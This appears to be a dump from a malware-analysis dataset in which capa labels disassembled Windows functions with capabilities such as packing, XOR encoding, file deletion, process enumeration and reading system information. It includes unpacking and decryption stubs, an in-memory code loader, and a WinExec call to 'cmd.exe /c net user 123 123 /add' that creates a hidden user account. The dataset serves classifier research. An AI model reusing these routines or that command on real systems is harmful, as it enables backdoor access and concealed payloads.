joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4cb200
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7e000]
push edi
or ebp, 0xffffffff
jmp 0x4cb222
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4cb229
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4cb218
mov eax, 1
add ebx, ebx
jne 0x4cb23b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4cb24c
jne 0x4cb26b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4cb26b
dec eax
add ebx, ebx
jne 0x4cb258
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4cb230
add ebx, ebx
jne 0x4cb267
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4cb2bd
xor ecx, ecx
sub eax, 3
jb 0x4cb283
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4cb2f2
sar eax, 1
mov ebp, eax
jmp 0x4cb28e
add ebx, ebx
jne 0x4cb28e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4cb25c
inc ecx
add ebx, ebx
jne 0x4cb29c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4cb25c
add ebx, ebx
jne 0x4cb2a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4cb29e
jne 0x4cb2ba
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4cb29e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4cb2dc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4cb2ce
jmp 0x4cb21e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4cb2dc
add edi, ecx
jmp 0x4cb21e
pop esi
mov edi, esi
mov ecx, 0x3aa2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4cb2fa
cmp byte [edi], 0x13
jne 0x4cb2fa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4cb2ff
lea edi, [esi + 0xc7000]
mov eax, dword [edi]
or eax, eax
je 0x4cb377
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd2000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd2154]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4cb32c
mov ecx, edi
jns 0x4cb35b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd2158]
or eax, eax
je 0x4cb371
mov dword [ebx], eax
add ebx, 4
jmp 0x4cb349
call dword [esi + 0xd2168]
mov ebp, dword [esi + 0xd215c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4cb3ab
sub esp, 0xffffff80
jmp 0x41829d
Function at 0x10001d89
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x10001d98
pop dword [ebp - 0x4c]
mov eax, 0x5939065a
sub eax, 0x4938e8c2
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xbc5692e4
sub dword [ebp - 0x5c], 0x6e044d99
mov dword [ebp - 0x58], 0xe3df6639
sub dword [ebp - 0x58], 0xb1ac19f4
mov dword [ebp - 0x54], 0xaacec22f
add dword [ebp - 0x54], 0xa17d81ff
mov dword [ebp - 0x50], 0x36809a2d
sub dword [ebp - 0x50], 0x36809a2d
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xfdb219a8
sub eax, 0xedafc924
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xac31ec3
sub dword [ebp - 0x5c], 0x9650b56d
mov dword [ebp - 0x58], 0x97db26ce
sub dword [ebp - 0x58], 0x566ec559
mov dword [ebp - 0x54], 0x4acffbc6
add dword [ebp - 0x54], 0x189f70a6
mov dword [ebp - 0x50], 0x7a86d876
sub dword [ebp - 0x50], 0x7a86d876
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3a236
push 0
call eax
mov ecx, 0xb9bdf6b5
add ecx, 0x46424c64
xor edi, edi
add edi, eax
mov esi, 0xae8dc6e
sub esi, 0xfae5d06e
add esi, dword [ebp - 0x4c]
mov ebx, 0xe67039ff
mov edx, dword [esi]
add dword [ebp - 0x1c], ecx
add edx, ebx
add dword [ebp - 0x40], ecx
mov dword [edi], edx
xor dword [ebp - 0x44], 0xfce98562
add edi, 4
add esi, 0x785a9695
add esi, 0x87a5696f
loop 0x10001eb1
add eax, 0xaa1a98e1
sub eax, 0xaa1999aa
mov ebx, eax
add eax, 0xee1939f9
sub eax, 0xee1939f4
mov ecx, 0x4ae9bf
sub ecx, 0xf04ae9bf
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x1001ca50
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1001caeb
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x1001caa2
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x1001caa2
cmp esi, ebx
jge 0x1001caa2
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x1001cae5
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x1001cae5
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100252e0]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x100252e0]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1001cafd
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc

Function at 0x1001cd20
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da18], 0
mov eax, dword [ebp + 8]
je 0x1001cd48
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001cd62
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.10001d89
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10022ac0
leave
ret 4

Function at 0x1001cf30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x1002d6f0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da18], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x1001cf66
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001cfc5
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.10001d89
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.10001d89
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.10001d89
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10022ac0
leave
ret 0x10
Function at 0x1001cfe0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da18], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001d00c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001d03d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001d03b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.10001d89
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001d03d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10022ac0
leave
ret 8
Function at 0x43a720
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x42c025
lea edi, [esi - 0x2b025]
push edi
jmp 0x43a73a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x43a741
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x43a730
mov eax, 1
add ebx, ebx
jne 0x43a753
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x43a748
jne 0x43a764
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43a748
xor ecx, ecx
sub eax, 3
jb 0x43a778
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x43a7ea
mov ebp, eax
add ebx, ebx
jne 0x43a783
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x43a790
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x43a7b4
inc ecx
add ebx, ebx
jne 0x43a7a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x43a795
jne 0x43a7b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43a795
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43a7d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43a7c5
jmp 0x43a736
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43a7d4
add edi, ecx
jmp 0x43a736
pop esi
mov edi, esi
mov ecx, 0x18c0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43a7f2
cmp byte [edi], 4
jne 0x43a7f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x43a7f7
lea edi, [esi + 0x38000]
mov eax, dword [edi]
or eax, eax
je 0x43a86f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3a3b8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3a3f4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43a824
mov ecx, edi
jns 0x43a853
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3a3fc]
or eax, eax
je 0x43a869
mov dword [ebx], eax
add ebx, 4
jmp 0x43a841
call dword [esi + 0x3a3f8]
mov ebp, dword [esi + 0x3a400]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1af]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x43a8a3
sub esp, 0xffffff80
jmp 0x403b50
Function at 0x40c4e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push dword [ebp + 0xc]
call fcn.0040c4a7
push 0xc
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.00408ca3
xor esi, esi
lea edx, [ebp + esi - 0xc]
call fcn.0040c42d
xor byte [edx], al
movzx eax, byte [edx]
push eax
call fcn.0040c44d
inc esi
cmp esi, 0xc
jl 0x40c4ff
movzx ax, byte [ebp - 1]
movzx ecx, ax
mov eax, dword [0x410550]
test byte [eax + 0x28], 2
movzx eax, byte [0x4205bf]
jne 0x40c53a
movzx eax, byte [0x4205c7]
movzx ecx, cx
cmp ecx, eax
je 0x40c546
or eax, 0xffffffff
jmp 0x40c58b
mov ecx, dword [0x420568]
mov eax, ecx
cdq
cmp edx, dword [0x40f924]
push edi
jl 0x40c568
mov edx, dword [0x40f920]
jg 0x40c564
cmp eax, edx
jbe 0x40c568
mov edi, edx
jmp 0x40c56a
mov edi, ecx
mov esi, dword [0x420560]
jmp 0x40c584
dec edi
call fcn.0040c42d
xor byte [esi], al
movzx eax, byte [esi]
push eax
call fcn.0040c44d
inc esi
test edi, edi
jne 0x40c572
xor eax, eax
pop edi
pop esi
leave
ret 8

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..reloc
mov ebx, 0x40c7d0
nop
mov ecx, 0x6ec6356d
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
mov ecx, 0x4e882b61
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x415ba0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf000]
push edi
or ebp, 0xffffffff
jmp 0x415bc2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x415bc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x415bb8
mov eax, 1
add ebx, ebx
jne 0x415bdb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x415bd0
jne 0x415bec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x415bd0
xor ecx, ecx
sub eax, 3
jb 0x415c00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x415c72
mov ebp, eax
add ebx, ebx
jne 0x415c0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x415c18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x415c3c
inc ecx
add ebx, ebx
jne 0x415c28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x415c1d
jne 0x415c39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x415c1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x415c5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x415c4d
jmp 0x415bbe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x415c5c
add edi, ecx
jmp 0x415bbe
pop esi
mov edi, esi
mov ecx, 0x43b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x415c7a
cmp byte [edi], 0
jne 0x415c7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x415c7f
lea edi, [esi + 0x13000]
mov eax, dword [edi]
or eax, eax
je 0x415cee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x16d20]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x16da8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x415cac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x16db0]
or eax, eax
je 0x415ce8
mov dword [ebx], eax
add ebx, 4
jmp 0x415cc9
call dword [esi + 0x16dac]
mov ebp, dword [esi + 0x16db4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x415d22
sub esp, 0xffffff80
jmp 0x40991c
Function at 0x4018c0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x413b50
push 0x4027f0
mov eax, dword fs:[0]
push eax
sub esp, 0x34
push ebx
push esi
push edi
mov eax, dword [0x41500c]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov esi, dword [ebp - 0x40]
push 4
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [ebp - 0x20], edi
mov byte [edi], 0xc3
lea eax, [ebp - 0x1c]
push eax
push 0x120
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 4], 0
call edi
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4019a0
Capabilities:
Create process on windows
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14c
mov eax, dword [0x41500c]
xor eax, esp
mov dword [esp + 0x148], eax
push ebx
push esi
push edi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x401a42
push 0x124
lea eax, [esp + 0x30]
mov dword [esp + 0x2c], 0x128
push 0
push eax
call fcn.00403450
add esp, 0xc
lea eax, [esp + 0x28]
xor esi, esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x401a5a
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax]
lea eax, [esp + 0x28]
inc esi
push eax
push edi
call ebx
test eax, eax
jne 0x401a30
cmp esi, 0x28
jle 0x401a5a
call fcn.004018c0
test eax, eax
je 0x401a5a
push 0
push str.cmd.exe__c_net_user_123_123__add
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x401a65
call fcn.00401050
call dword [0x449390]
mov ecx, dword [esp + 0x154]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401b53
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4052c5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x405304
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x405304
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x405304
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x405304
cmp dword [ecx + 0x74], 0xe
jbe 0x405304
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40802b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4080c8
push ebx
push esi
call fcn.00407ff4
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00407f88
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x408075
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4080c7
push edi
push eax
call fcn.0040942c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x408095
call fcn.004062c2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4080c6
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00407f88
add esp, 0x20
test eax, eax
jne 0x4080b4
push edi
call fcn.004062c2
jmp 0x4080bc
push ebx
call fcn.004062c2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4082c8
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40fb18
push 0x40fb10
push 0x40ed70
push 0x1f
call fcn.004081e4
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4082fc
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e144]
call esi
jmp 0x408302
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x408346
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40fb28
push 0x40fb20
push 0x40ed94
push 0x21
call fcn.004081e4
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40837d
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e144]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x408385
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40fb30
push 0x40fb28
push 0x40eda8
push 0x22
call fcn.004081e4
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4083bf
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40e144]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1007f60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x1007f82
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1007f89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1007f78
mov eax, 1
add ebx, ebx
jne 0x1007f9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1007f90
jne 0x1007fac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1007f90
xor ecx, ecx
sub eax, 3
jb 0x1007fc0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1008032
mov ebp, eax
add ebx, ebx
jne 0x1007fcb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x1007fd8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x1007ffc
inc ecx
add ebx, ebx
jne 0x1007fe8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1007fdd
jne 0x1007ff9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1007fdd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x100801c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x100800d
jmp 0x1007f7e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x100801c
add edi, ecx
jmp 0x1007f7e
pop esi
mov edi, esi
mov ecx, 0x27
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x100803a
cmp byte [edi], 2
jne 0x100803a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x100803f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x10080ae
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x83e8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8468]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x100806c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8470]
or eax, eax
je 0x10080a8
mov dword [ebx], eax
add ebx, 4
jmp 0x1008089
call dword [esi + 0x846c]
mov ebp, dword [esi + 0x8474]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x10080e2
sub esp, 0xffffff80
jmp 0x10021f7